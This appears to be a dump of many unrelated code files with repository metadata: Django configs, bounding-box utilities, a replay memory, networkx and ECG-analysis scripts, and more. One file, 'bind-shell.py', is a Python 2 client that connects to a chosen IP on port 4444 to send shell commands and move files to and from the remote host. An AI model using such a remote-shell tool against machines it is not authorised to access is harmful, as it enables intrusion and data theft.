a0826789b291e73c8285516989eb8929b529ecda | 36afa10e2dcafb68325ab40641966a36283d312b | /news/urls.py | e61e6cde2fb6f613358871b3642dedda5a13e496 | [] | no_license | parulian1/foundation | 6b707bcbf8067165d80e3bdc58626e6bb9a4521b | 178b580f17fe3aad39824f8465cb5275dc019297 | refs/heads/master | 2021-01-10T05:22:25.360967 | 2016-02-11T03:58:59 | 2016-02-11T03:58:59 | 49,107,916 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 436 | py | from django.conf.urls import url
from . import views
app_name = 'news'
urlpatterns = [
url(r'^$', views.news, name='news_main'),
url(r'^blog/$', views.blogs, name='blog_main'),
url(r'^press/$', views.press, name='news_press'),
url(r'^press/category/(?P<category_id>\d+)/$', views.view_press_by_category, name='view_press_by_category'),
url(r'^press/detail/(?P<press_id>\d+)/$', views.view_press, name='view_press'),
] | [
"martogi.parulian86@gmail.com"
] | martogi.parulian86@gmail.com |
d2a3619d1a99b718458ffed7e6bdd3f373536969 | 04eaab6d9a6707b950d7ec4688707a883a009889 | /where/cleaners/__init__.py | d225d68de08cd820429206b62eea119429a5ee10 | [
"MIT"
] | permissive | skjaeve/where | 3eae1036419e5f9c6b824b5f9b1dcedbe9d4da93 | 690558f64d54ce46c55a0bc3ef26f6fd992a3737 | refs/heads/master | 2020-04-05T03:35:01.737430 | 2018-11-28T11:04:59 | 2018-11-28T11:04:59 | 156,520,078 | 0 | 0 | null | 2018-11-07T09:13:35 | 2018-11-07T09:13:35 | null | UTF-8 | Python | false | false | 454 | py | """Framework for cleaning data
Description:
------------
Each data cleaner should be defined in a one of two directories:
+ `editors` - Editors can add new fields to the dataset.
+ `removers` - These cleaners only remove observations.
"""
# Make the apply-functions in subpackages available
from where.cleaners.editors import apply_editors # noqa
from where.cleaners.removers import apply_removers # noqa
# Do not support * imports
__all__ = []
| [
"geirarne@gmail.com"
] | geirarne@gmail.com |
91bf99a2e6bbb2f2dbb60eb172f61a1ec01f2632 | a5a7a70348420b5815d4a49d74aa42e4ca41b4ba | /SAN/lib/utils/box_utils.py | ab81dc6b92ea5b149614c3bfed69a410239b17bb | [
"MIT"
] | permissive | 738654805/landmark-detection | 18f8692b0f81bb4198cb6a5baca42a3f9ec89e59 | 70f647752147592fd5f62f99e64c685a6cf45b4a | refs/heads/master | 2020-06-06T10:53:50.751520 | 2019-06-13T08:41:15 | 2019-06-13T08:41:15 | 192,720,661 | 1 | 0 | MIT | 2019-06-19T11:39:25 | 2019-06-19T11:39:25 | null | UTF-8 | Python | false | false | 1,836 | py | ##############################################################
### Copyright (c) 2018-present, Xuanyi Dong ###
### Style Aggregated Network for Facial Landmark Detection ###
### Computer Vision and Pattern Recognition, 2018 ###
##############################################################
import numpy as np
def bboxcheck_TLBR(bbox):
'''
check the input bounding box to be TLBR format
parameter:
bbox: N x 4 numpy array, TLBR format
return:
True or False
'''
OK1 = isinstance(bbox, np.ndarray) and bbox.shape[1] == 4 and bbox.shape[0] > 0
OK2 = (bbox[:, 3] >= bbox[:, 1]).all() and (bbox[:, 2] >= bbox[:, 0]).all()
return OK1 and OK2
def bbox2center(bbox):
'''
convert a bounding box to a point, which is the center of this bounding box
parameter:
bbox: N x 4 numpy array, TLBR format
return:
center: 2 x N numpy array, x and y correspond to first and second row respectively
'''
assert bboxcheck_TLBR(bbox), 'the input bounding box should be TLBR format'
num_bbox = bbox.shape[0]
center = np.zeros((num_bbox, 2), dtype='float32')
center[:, 0] = (bbox[:, 0] + bbox[:, 2]) / 2.
center[:, 1] = (bbox[:, 1] + bbox[:, 3]) / 2.
return np.transpose(center)
def bbox_TLBR2TLWH(bbox):
'''
transform the input bounding box with TLBR format to TLWH format
parameter:
bbox: N X 4 numpy array, TLBR format
return
bbox: N X 4 numpy array, TLWH format
'''
assert bboxcheck_TLBR(bbox), 'the input bounding box should be TLBR format'
bbox_TLWH = np.zeros_like(bbox)
bbox_TLWH[:, 0] = bbox[:, 0]
bbox_TLWH[:, 1] = bbox[:, 1]
bbox_TLWH[:, 2] = bbox[:, 2] - bbox[:, 0]
bbox_TLWH[:, 3] = bbox[:, 3] - bbox[:, 1]
return bbox_TLWH
| [
"280835372@qq.com"
] | 280835372@qq.com |
d6161fc1725dc4dfcd4a909c2e194f14906fa65a | c529c17f5ea2acc86b19178927638ff4f21934e7 | /projet1/firstApi/urls.py | 6be3def263a6d686864c88e3cad0d077512cd3bf | [] | no_license | olivierdpn/incidentManagerRegressor | 4551e207eff83427931817726aa3093ab1e968d6 | caf2543506d39f940fd69f13e1bd2719504815dc | refs/heads/master | 2020-12-26T07:14:42.621896 | 2020-01-31T13:53:06 | 2020-01-31T13:53:06 | 237,429,958 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 838 | py | """firstApi URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
from django.urls import include
urlpatterns = [
path('prediction/', include('predicteur_app.urls')),
path('admin/', admin.site.urls)
]
| [
"noreply@github.com"
] | noreply@github.com |
ed5f6cde139950405c6ec1728493c26afb9a6799 | 9531e597cd3f865cc6b6f780498a18281c2413f8 | /comments/models.py | 956bf210ee9ab176d9e93f98dac9fd3202ac60d4 | [] | no_license | dpitkevics/DevNet | 7133b80ce5d56b9c11aa4c500d530faed7cb13f4 | 98ebc3916346e6c2bda79711a3896f7c2a8e2ac8 | refs/heads/master | 2020-04-15T12:04:00.245848 | 2015-09-14T17:45:39 | 2015-09-14T17:45:39 | 41,320,800 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 570 | py | from django.db import models
from django.contrib.auth.models import User
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from model_utils.models import TimeStampedModel
class Comment(TimeStampedModel):
user = models.ForeignKey(User)
parent_comment = models.ForeignKey('Comment')
content_type = models.ForeignKey(ContentType)
object_id = models.PositiveIntegerField()
content_object = GenericForeignKey('content_type', 'object_id')
comment_text = models.TextField()
| [
"daniels.pitkevics@gmail.com"
] | daniels.pitkevics@gmail.com |
1ec7d95d1793fcef3900410021a4866f130286d4 | 9e715dea01dc637ed91cde345df8ae81267f60a9 | /webapp/apps/taxbrain/migrations/0069_auto_20150314_2139.py | ffaec203e84da216bcbc53279e1dc8272924d4d0 | [
"MIT"
] | permissive | kdd0211/webapp-public | f08b76201a6a59116bcfdc382ba995a46dd629cd | bcf94d5d6458ac5c6e89d0cf33d7fed06c85030d | refs/heads/master | 2021-01-16T21:07:44.059049 | 2016-01-14T05:09:50 | 2016-01-14T05:09:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,078 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('taxbrain', '0068_auto_20150314_2137'),
]
operations = [
migrations.RenameField(
model_name='taxsaveinputs',
old_name='long_rate_one',
new_name='_CG_rt1',
),
migrations.RenameField(
model_name='taxsaveinputs',
old_name='long_threshold_one_single',
new_name='_CG_thd1_0',
),
migrations.RenameField(
model_name='taxsaveinputs',
old_name='long_threshold_one_jointly',
new_name='_CG_thd1_1',
),
migrations.RenameField(
model_name='taxsaveinputs',
old_name='long_threshold_one_head',
new_name='_CG_thd1_2',
),
migrations.RenameField(
model_name='taxsaveinputs',
old_name='long_threshold_one_separately',
new_name='_CG_thd1_3',
),
]
| [
"tj.alumbaugh@continuum.io"
] | tj.alumbaugh@continuum.io |
e52324dcdebcdb2f34f4786fda22afbb8bd34b14 | 1b370961c5245e2606f0249170b7a6a041587f44 | /기초/sample_package/vietnam.py | ceb3789ffdbaccd07725281ebb6c7e250ebc4267 | [] | no_license | JooHeon-Lee/practicePython | 5becc3415c02bfb83a3dfefc8679ab32a60a39e0 | ce7a36b5116e1517968267182038ef6745e58376 | refs/heads/master | 2023-07-02T19:27:43.917856 | 2021-08-07T04:41:28 | 2021-08-07T04:41:28 | 389,360,737 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 88 | py | class VietnamPackage:
def detail(self):
print("[==========베트남======]") | [
"58197251+JooHeon-Lee@users.noreply.github.com"
] | 58197251+JooHeon-Lee@users.noreply.github.com |
09b4d2980880ee3f36aa9300da47c0c4975b6020 | 058a0a3720e97ef269460727b16d41035fcf5be4 | /2048-3D-rl-master/py_2048_rl/learning/replay_memory.py | 908e81c5a1319285cb6e72b4b71251c4b123d93e | [] | no_license | aliciaxue/3D_2048_deep_q | 516e75693c76543f7868da6c3075950faabaea86 | f60cfefcfa611a0e7e39f5649bf7d72b18c0d384 | refs/heads/master | 2020-03-18T17:53:24.464854 | 2018-05-27T15:19:26 | 2018-05-27T15:19:26 | 135,057,860 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,189 | py | """Replay Memory"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from collections import deque
import random
MEMORY_CAPACITY = 1e5
class ReplayMemory(object):
"""Keeps a set of Experiences in a Queue"""
def __init__(self):
self.queue = deque()
def add(self, experience):
"""Add a single experience to queue."""
self.queue.append(experience)
if len(self.queue) > MEMORY_CAPACITY:
self.queue.popleft()
def print_stats(self):
"""Print memory stats."""
total = len(self.queue)
unavailable = len([1 for e in self.queue if e.not_available])
lost = len([1 for e in self.queue if e.game_over])
print("Memory stats:")
print(" Experiences: ", total)
print(" Unavailable: ", unavailable,
"(%.1f%%)" % ((100 * unavailable / total),))
print(" Lost : ", lost, "(%.1f%%)" % ((100 * lost / total),))
def is_full(self):
"""Return whether the memory is full."""
return len(self.queue) >= MEMORY_CAPACITY
def sample(self, count):
"""Returns a random sample of <count> experiences."""
return random.sample(self.queue, count)
| [
"u3514240@hku.hk"
] | u3514240@hku.hk |
458e17eed0bc39f02d890a755f9aa6207076f831 | 2a9a136296e3d2abebf3a3dbfbbb091076e9f15f | /env/Lib/site-packages/pip/_vendor/html5lib/treeadapters/sax.py | 59b0a8ff79ffd1467ad8d32e2074685db1ed7e20 | [] | no_license | Lisukod/planet-tracker | a865e3920b858000f5d3de3b11f49c3d158e0e97 | 6714e6332b1dbccf7a3d44430620f308c9560eaa | refs/heads/master | 2023-02-18T19:26:16.705182 | 2021-01-23T01:51:58 | 2021-01-23T01:51:58 | 328,032,670 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,697 | py | from __future__ import absolute_import, division, unicode_literals
from xml.sax.xmlreader import AttributesNSImpl
from ..constants import adjustForeignAttributes, unadjustForeignAttributes
prefix_mapping = {}
for prefix, localName, namespace in adjustForeignAttributes.values():
if prefix is not None:
prefix_mapping[prefix] = namespace
def to_sax(walker, handler):
"""Call SAX-like content handler based on treewalker walker
:arg walker: the treewalker to use to walk the tree to convert it
:arg handler: SAX handler to use
"""
handler.startDocument()
for prefix, namespace in prefix_mapping.items():
handler.startPrefixMapping(prefix, namespace)
for token in walker:
type = token["type"]
if type == "Doctype":
continue
elif type in ("StartTag", "EmptyTag"):
attrs = AttributesNSImpl(token["data"], unadjustForeignAttributes)
handler.startElementNS(
(token["namespace"], token["name"]), token["name"], attrs
)
if type == "EmptyTag":
handler.endElementNS(
(token["namespace"], token["name"]), token["name"]
)
elif type == "EndTag":
handler.endElementNS(
(token["namespace"], token["name"]), token["name"]
)
elif type in ("Characters", "SpaceCharacters"):
handler.characters(token["data"])
elif type == "Comment":
pass
else:
assert False, "Unknown token type"
for prefix, namespace in prefix_mapping.items():
handler.endPrefixMapping(prefix)
handler.endDocument()
| [
"45397160+Lisukod@users.noreply.github.com"
] | 45397160+Lisukod@users.noreply.github.com |
b7fd1cc456cbd98d11801372c51c0829413781c4 | 88f0f48a4a92e7047bc04fd5020da9b977080710 | /PythonIntroduction/lesson-03/task07/len_function.py | 491e32f8f3da5f05a3ba80d1a0ba2a248354f561 | [] | no_license | jdegrave/Python | 1a2e2f9d074ebebb46e27cc11a7a31ede17a9f6c | 742f57c9aef3363fc9b81e692fc15c226b660200 | refs/heads/master | 2021-01-11T23:34:56.237814 | 2018-02-21T18:47:58 | 2018-02-21T18:47:58 | 78,603,292 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 163 | py | phrase = """
It is a really long string
triple-quoted strings are used
to define multi-line strings
"""
first_half = phrase[:((len(phrase))//2)]
print(first_half)
| [
"jdegrave@earthlink.net"
] | jdegrave@earthlink.net |
e5d6a8db13981145d31b06f0e1a24d7802a0b44e | 741bb642f449ae634bcb51ebe97090899d29b5ce | /PythonFiles2/src/pages/mapExplore.py | a3031758bcfb39b954ce029d763cbf7133280788 | [] | no_license | vihuma/QUIPUS_DASH | 8c0f67227fa1e967167e7d3a3335556d250979ab | 9351afe033cef219453a5d29133e9020377c0de7 | refs/heads/main | 2023-06-26T06:40:28.382863 | 2021-07-27T06:16:48 | 2021-07-27T06:16:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,155 | py | import dash
import dash_bootstrap_components as dbc
import dash_core_components as dcc
import dash_html_components as html
import dash_cytoscape as cyto
from dash.dependencies import Input, Output, State
import pandas as pd
import keplergl
import geopandas as gpd
import urllib.request
import os
from pandas.tseries.offsets import *
# url = "https://raw.githubusercontent.com/uber-web/kepler.gl-data/master/earthquakes/data.csv"
# download_file = urllib.request.urlretrieve(url, "data.csv")
#
config = {
'version': 'v1',
'config': {
'mapState': {
'latitude': 35.9078,
'longitude': 127.7669,
'zoom': 6
},
'mapStyle': {
'styleType': 'light'
},
'visState': {
'layers': [{
'type': 'hexagonId',
# 'visualChannels': {
# 'sizeField': {
# 'type': 'integer',
# 'name': 'value'
# },
# },
'config': {
'dataId': 'covid',
'color': [255, 0, 255]
}
}],
'filters': [{
'dataId': 'covid',
'name': 'attributes.visited_date',
}],
}
}
}
def make_kepler_plot(conn):
q = conn.runInstalledQuery("getAllTravel")
df = pd.json_normalize(q[0]['Seed'])
# print(df)
map_1 = keplergl.KeplerGl()
map_1.add_data(data=df, name='covid')
map_1.config = config
map_1.save_to_html(file_name="covid_map.html")
def get_page(conn):
# make plot
# if not os.path.isfile('Dash-Bootstrap-TigerGraph-Covid19/covid_map.html'):
# make_kepler_plot(conn)
kep_viz = html.Iframe(srcDoc=open('finnet_map.html').read(),
height='800', width='100%')
kepler_page = html.Div(
[
html.H2("Kepler Visualization"),
# dbc.Button('Submit', id='map-button', n_clicks=0),
# html.Div(
# id='output-map'
# )
kep_viz
],
)
return kepler_page
| [
"noreply@github.com"
] | noreply@github.com |
ce56eb6e727648587f59e82414d069ed72386e63 | 37ac2a5e145687a8d3af1ae4e5fc28b5364afe52 | /engine/extensions/pythonize.py | 0f4666fec7432659b1c03027941f7509c16a1919 | [] | no_license | m64/PEG | ff961554199b09c33f8f74baeed0d6d01b403412 | 0f40a8538bbc0db6869eb81291e52574632f824c | refs/heads/master | 2020-12-24T15:49:37.670080 | 2009-12-21T00:39:26 | 2009-12-21T00:39:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,458 | py | # -*- coding: utf-8 -*-
# ####################################################################
# Copyright (C) 2005-2009 by the FIFE team
# http://www.fifengine.de
# This file is part of FIFE.
#
# FIFE is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the
# Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# ####################################################################
"""\
Pythonize FIFE
Import this extension to get a more
pythonic interface to FIFE.
Currently it implements the following
conveniences:
* FIFE Exceptions print their message.
* Automatic property generation for:
* fife.Engine
* fife.Instance
* fife.Image
* fife.Animation
* fife.Point
* fife.Rect
"""
import fife, re
__all__ = ()
fife.Exception.__str__ = fife.Exception.getMessage
def _Color2Str(c):
return 'Color(%s)' % ','.join(map(str,(c.r,c.g,c.b,c.a)))
fife.Color.__str__ = _Color2Str
classes = [ fife.Engine, fife.Instance, fife.Point, fife.Rect, fife.Image, fife.Animation,
fife.RenderBackend, fife.Event, fife.Command, fife.Container ]
def createProperties():
""" Autocreate properties for getXYZ/setXYZ functions.
"""
try:
import inspect
getargspec = inspect.getargspec
except ImportError:
print "Pythonize: inspect not available - properties are generated with dummy argspec."
getargspec = lambda func : ([],'args',None,None)
def isSimpleGetter(func):
if not callable(func):
return False
try:
argspec = getargspec(func)
return not (argspec[0] or [s for s in argspec[2:] if s])
except TypeError, e:
#print func, e
return False
def createNames(name):
for prefix in ('get', 'is', 'are'):
if name.startswith(prefix):
new_name = name[len(prefix):]
break
settername = 'set' + new_name
propertyname = new_name[0].lower() + new_name[1:]
return settername, propertyname
getter = re.compile(r"^(get|are|is)[A-Z]")
for class_ in classes:
methods = [(name,attr) for name,attr in class_.__dict__.items()
if isSimpleGetter(attr) ]
setmethods = [(name,attr) for name,attr in class_.__dict__.items() if callable(attr)]
getters = []
for name,method in methods:
if getter.match(name):
getters.append((name,method))
settername, propertyname = createNames(name)
setter = dict(setmethods).get(settername,None)
#print name, settername, "--->",propertyname,'(',method,',',setter,')'
setattr(class_,propertyname,property(method,setter))
if not getters: continue
# We need to override the swig setattr function
# to get properties to work.
class_._property_names = set([name for name,method in getters])
def _setattr_wrapper_(self,*args):
if name in class_._property_names:
object.__setattr__(self,*args)
else:
class_.__setattr__(self,*args)
class_.__setattr__ = _setattr_wrapper_
createProperties()
| [
"m64@tryglaw.eu"
] | m64@tryglaw.eu |
0479016331065061923078c4af8dc446ce097c77 | dc19ea8a49c13d362d8852ff13ef7fc24e60e2e1 | /bind-shell.py | 2d2cfd84549821663993902397bd5899bc6c69bd | [] | no_license | Koploseus/Bind-Shell | 7bd63519acae1e41c436e720db1fc01dd00e14f1 | 2245c4c6ab0d1ae0749fb73164aaa97bc7be9394 | refs/heads/master | 2021-09-01T00:19:42.208646 | 2017-12-23T18:42:13 | 2017-12-23T18:42:13 | 115,214,824 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,392 | py | import socket
import os
import time
##FUNCTIONS
def banner():
print " ________________ "
print "< Reverso-shells >"
print "By Koploseus"
print " ---------------- "
print " \ "
print " \ "
print " .--."
print " |o_o |"
print " |:_/ |"
print " // \ \ "
print " (| | )"
print " /'\_ _/`\ "
print " \___)=(___/"
print " "
print " "
def recieveLine(socket):
"""
retourne ligne en attente
@return a string recieve line
"""
data = ""
line = ""
while(data != '\n'):
line += data
data = socket.recv(1)
if not data:
print "Connexion perdu\n"
exit(0)
return line
def uploadFile(socket,filename):
f = open(filename,'r')
socket.send(f.name + "\n")
size = os.path.getsize(filename)
socket.send(str(size) + "\n")
data = f.read(1024)
while (data):
socket.send(data)
data = f.read(1024)
print "Upload Reussi !\n"
def downloadFile(socket):
if(recieveLine(socket) == "NONREADABLE"):
print "Error Permssion Denied"
return
filename = recieveLine(socket)
f = open(filename, 'w')
size = int(recieveLine(socket))
while size != 0:
data = socket.recv(1024)
f.write(data)
size -= len(data)
print "Download Reussi !\n"
#FIN FUNCTION
os.system("clear")
banner()
host = raw_input("IP: ")
port = 4444
#Creation socket AF_INET
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: # test connexion
server.connect((host, port))
print "[+] Connexion en cours..."
time.sleep(2)
print "[+] Connexion reussi!\n\n"
except socket.error:
print "[-]Erreur! Serveur non joignable !!!\n "
exit(0)
cmd = ""
# Lis les commandes et les envois
while cmd != 'exit':
cmd = raw_input("shell-#")
if(cmd[:6] == "upload"):
t = cmd.split(" ")
if not os.access(t[1],os.R_OK):
print "Permission Denied"
continue
server.send(cmd + "\n")
uploadFile(server,t[1])
continue
elif(cmd[:8] == "download"):
server.send(cmd + "\n")
downloadFile(server)
continue
server.send(cmd + "\n") # envoie la commande au serveur
numoflines = recieveLine(server)
for i in range(int(numoflines)):
print(recieveLine(server))
server.close()
| [
"noreply@github.com"
] | noreply@github.com |
8989148a1e906ae9fa35e8e5f99f07891fdd0d91 | 17e9441138f8ad09eab3d017c0fa13fa27951589 | /blog17-networkx/test02.py | 837cd862a077033de44e123fefe0dbd0a98117bc | [] | no_license | My-lsh/Python-for-Data-Mining | 159a09e76b35efd46ca3e32ad6dd2174847d5ec4 | f2dd0b8f3c4f5f51a10613dff99041bca4fd64c5 | refs/heads/master | 2023-03-26T08:48:32.088713 | 2021-03-25T14:57:07 | 2021-03-25T14:57:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,187 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Nov 02 10:33:58 2017
@author: eastmount CSDN 杨秀璋
"""
import pandas as pd
import numpy as np
import codecs
import networkx as nx
import matplotlib.pyplot as plt
""" 第一步:读取数据并获取姓名 """
data = pd.read_csv("data.csv",encoding ="gb2312") #中文乱码
print data[:4]
print data[u'姓名'] #获取某一列数据
print type(data[u'姓名'])
name = []
for n in data[u'姓名']:
name.append(n)
print name[0]
""" 第二步:计算共现矩阵 定义函数实现 """
a = np.zeros([2,3])
print a
print len(name)
word_vector = np.zeros([len(name),len(name)]) #共现矩阵
#1.计算学院共线矩阵
i = 0
while i<len(name): #len(name)
academy1 = data[u'学院'][i]
j = i + 1
while j<len(name):
academy2 = data[u'学院'][j]
if academy1==academy2: #学院相同
word_vector[i][j] += 1
word_vector[j][i] += 1
j = j + 1
i = i + 1
print word_vector
np_data = np.array(word_vector) #矩阵写入文件
pd_data = pd.DataFrame(np_data)
pd_data.to_csv('result.csv')
#2.计算大数据金融班级共线矩阵
#3.计算性别共线矩阵
#4.计算宿舍楼层共线矩阵
"""
i = 0
while i<len(name): #len(name)
academy1 = data[u'宿舍楼层'][i]
j = i + 1
while j<len(name):
academy2 = data[u'宿舍楼层'][j]
if academy1==academy2: #相同
word_vector[i][j] += 1
word_vector[j][i] += 1
j = j + 1
i = i + 1
print word_vector
"""
""" 第三步:共现矩阵计算(学生1 学生2 共现词频)文件 """
words = codecs.open("word_node.txt", "a+", "utf-8")
i = 0
while i<len(name): #len(name)
student1 = name[i]
j = i + 1
while j<len(name):
student2 = name[j]
#判断学生是否共现 共现词频不为0则加入
if word_vector[i][j]>0:
words.write(student1 + " " + student2 + " "
+ str(word_vector[i][j]) + "\r\n")
j = j + 1
i = i + 1
words.close()
""" 第四步:图形生成 """
a = []
f = codecs.open('word_node.txt','r','utf-8')
line = f.readline()
print line
i = 0
A = []
B = []
while line!="":
a.append(line.split()) #保存文件是以空格分离的
print a[i][0],a[i][1]
A.append(a[i][0])
B.append(a[i][1])
i = i + 1
line = f.readline()
elem_dic = tuple(zip(A,B))
print type(elem_dic)
print list(elem_dic)
f.close()
import matplotlib
matplotlib.rcParams['font.sans-serif'] = ['SimHei']
matplotlib.rcParams['font.family']='sans-serif'
colors = ["red","green","blue","yellow"]
G = nx.Graph()
G.add_edges_from(list(elem_dic))
#nx.draw(G,with_labels=True,pos=nx.random_layout(G),font_size=12,node_size=2000,node_color=colors) #alpha=0.3
#pos=nx.spring_layout(G,iterations=50)
pos=nx.random_layout(G)
nx.draw_networkx_nodes(G, pos, alpha=0.2,node_size=1200,node_color=colors)
nx.draw_networkx_edges(G, pos, node_color='r', alpha=0.3) #style='dashed'
nx.draw_networkx_labels(G, pos, font_family='sans-serif', alpha=0.5) #font_size=5
plt.show()
| [
"noreply@github.com"
] | noreply@github.com |
45a165fafb8b93e28d4d46d0bc49be317be87a2e | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02783/s004767524.py | 890487d6a124996654e2b4b0893b434c99a5cee2 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 122 | py | H, A = (int(x) for x in input().split())
if A >= H:
print(1)
elif H%A == 0:
print(H//A)
else:
print(H//A + 1) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
4ae423e54fe7f9893974aaa192a2e75055429728 | e1d74c93e705f265ab90d967804dc6b88f716fe5 | /ecg_detection/ecg.py | 7685de29c6744944defec0b67c9b84d19fd537d2 | [] | no_license | pollytur/ECG | 3156f970cfbb0ecb9a3250a5e903cce010db807d | 3925302259b677da0504bb8c976d0e4b90155222 | refs/heads/master | 2021-03-15T13:48:44.179218 | 2020-08-05T15:43:20 | 2020-08-05T15:43:20 | 246,854,955 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20,635 | py | import pandas as pd
import numpy as np
import pywt
import os
from scipy.signal import find_peaks
import matplotlib.pyplot as plt
from scipy.signal import butter
from scipy.signal import filtfilt
from statistics import mean, variance
fs = 512
lcf = 0.05
hcf = 100
# path='/Users/polinaturiseva/Downloads/mammals_dataset/text_format'
path = ''
def get_pathes(path_train):
files = []
for r, d, f in os.walk(path_train):
for file in f:
files.append(os.path.join(r, file))
return files
# folders - core folders with animal names
# subfolders - subfolders with recordings for each animal
def get_folders_and_subfolders():
folders = os.listdir(path)
subfolder = []
for i in folders:
subfolder.append(os.listdir(path + '/' + i))
return folders, subfolder
def folder_and_subfolders_for_animal(animal):
folders = os.listdir(path)
folder = ""
for i in folders:
if animal in i:
folder = i
subfolder = (os.listdir(path + '/' + folder))
return folder, subfolder
def upload_file(folder, subfolder_name, reverse=False):
way = path + '/' + folder + '/' + subfolder_name + '/electrography_' + subfolder_name + '.txt'
if reversed:
file = np.loadtxt(way, skiprows=14) * (-1)
else:
file = np.loadtxt(way, skiprows=14)
return file
def butterworth_filtering(lcf, hcf, fs, ecg):
# removes all frequencies less 0.05 Hz
[b_bas, a_bas] = butter(2, lcf / (fs / 2), 'high')
# removes all frequencies greater 100 Hz
[b_lp, a_lp] = butter(5, hcf / (fs / 2), 'high')
bpfecg = ecg - filtfilt(b_lp, a_lp, ecg)
bpfecg = filtfilt(b_bas, a_bas, bpfecg)
return bpfecg
def get_rid_of_artifacts(arr, lim):
final_arr = []
to_drop, _ = find_peaks(arr, height=lim)
start_point = []
end_points = []
for i in range(0, len(to_drop)):
if start_point == to_drop[i]:
continue
final_arr.append(arr[start_point:to_drop[i] - 1])
start_point = to_drop[i] + 1
return final_arr
# https://dsp.stackexchange.com/questions/47437/discrete-wavelet-transform-visualizing-relation-between-decomposed-detail-coef
# функция для вивлетов брались из примера по ссылке выше
# попробовать вейвлет Daubechies 8
# find p should be false for mice
def find_q_s_t_p(r, arr, lev, animal, find_p=True, dist=None):
q = []
s = []
theta_peak = []
p_peak = []
all_peaks = find_peaks(arr)
is_first = True
ecg_after_wavelet = wavelets(arr)
s_pos = 0
for i in r:
pos = i
while arr[pos] >= arr[pos - 1]:
pos = pos - 1
q.append(pos)
pos = i
while pos + 1 != len(arr) and arr[pos] >= arr[pos + 1]:
pos = pos + 1
if pos + 1 == len(arr):
break
s.append(pos)
if not is_first and animal != 'mouse':
# ecg_after_wavelet = wavelets(arr[prev:cur])
# indexes from [0; cur-prev]
cur = q[s_pos]
# wave_mins, _ = find_peaks(ecg_after_wavelet*(-1))
sub_ar_for_theta_peak = list(arr[prev:int(round((cur - prev) * 0.6) + prev)])
sub_ar_for_p_peak = list(arr[int(round((cur - prev) * 0.6) + prev):cur])
theta_peak.append(sub_ar_for_theta_peak.
index(max(sub_ar_for_theta_peak)) + prev)
p_peak.append(int(sub_ar_for_p_peak.
index(max(sub_ar_for_p_peak)) + prev + round((cur - prev) * 0.6)))
prev = s[s_pos]
s_pos += 1
is_first = False
return np.array(q), np.array(s), np.array(theta_peak), np.array(p_peak)
def wavelets(ecg, lev_to_decompose=6, lev_to_recontr=3):
decontr = pywt.wavedec(ecg, 'sym4', 'ppd', lev_to_decompose)
# reconstr = pywt.waverec(rabbit_ex_wav[:-lev_to_recontr] + [None] * lev_to_recontr, 'sym4')
reconstr = pywt.waverec(decontr[:-lev_to_recontr] + [None] * lev_to_recontr, 'sym4')
return reconstr
# умножение на маску 1, -1, чтобы ложно не определялись нижние пики
def find_r(ecg, animal, dist=None):
ecg_ar = np.array(ecg)
ecg = list(ecg)
sign = np.where(ecg_ar > 0, 1, -1)
ecg_sq = [item * item for item in ecg]
ecg_sq = ecg_sq * sign
# peaks, _ = find_peaks(ecg_sq, distance=80)
if dist is not None:
peaks, _ = find_peaks(ecg_sq, distance=dist)
elif animal == 'mouse':
peaks, _ = find_peaks(ecg_sq, distance=80)
elif animal == 'human':
peaks, _ = find_peaks(ecg_sq, distance=250)
else:
peaks, _ = find_peaks(ecg_sq, distance=100, height=0.02)
amp = [ecg[int(i)] for i in peaks]
if len(amp) == 0:
return None, None, None, None
av = mean(amp)
if len(amp) > 1:
var = variance(amp)
else:
var = amp[0]
if av < 0:
ecg = [i * (-1) for i in ecg]
return find_r(ecg, animal, dist)
else:
return peaks, av, var, np.array(ecg)
# it will remove 2 seconds before and after artifact as well
def filt_electrodes(ecg, av, var):
indexes_to_drop = np.where(abs(ecg) > abs(av) + abs(var))[0]
start_drop = []
end_drop = []
pos = 0
while pos < (len(indexes_to_drop) - 1):
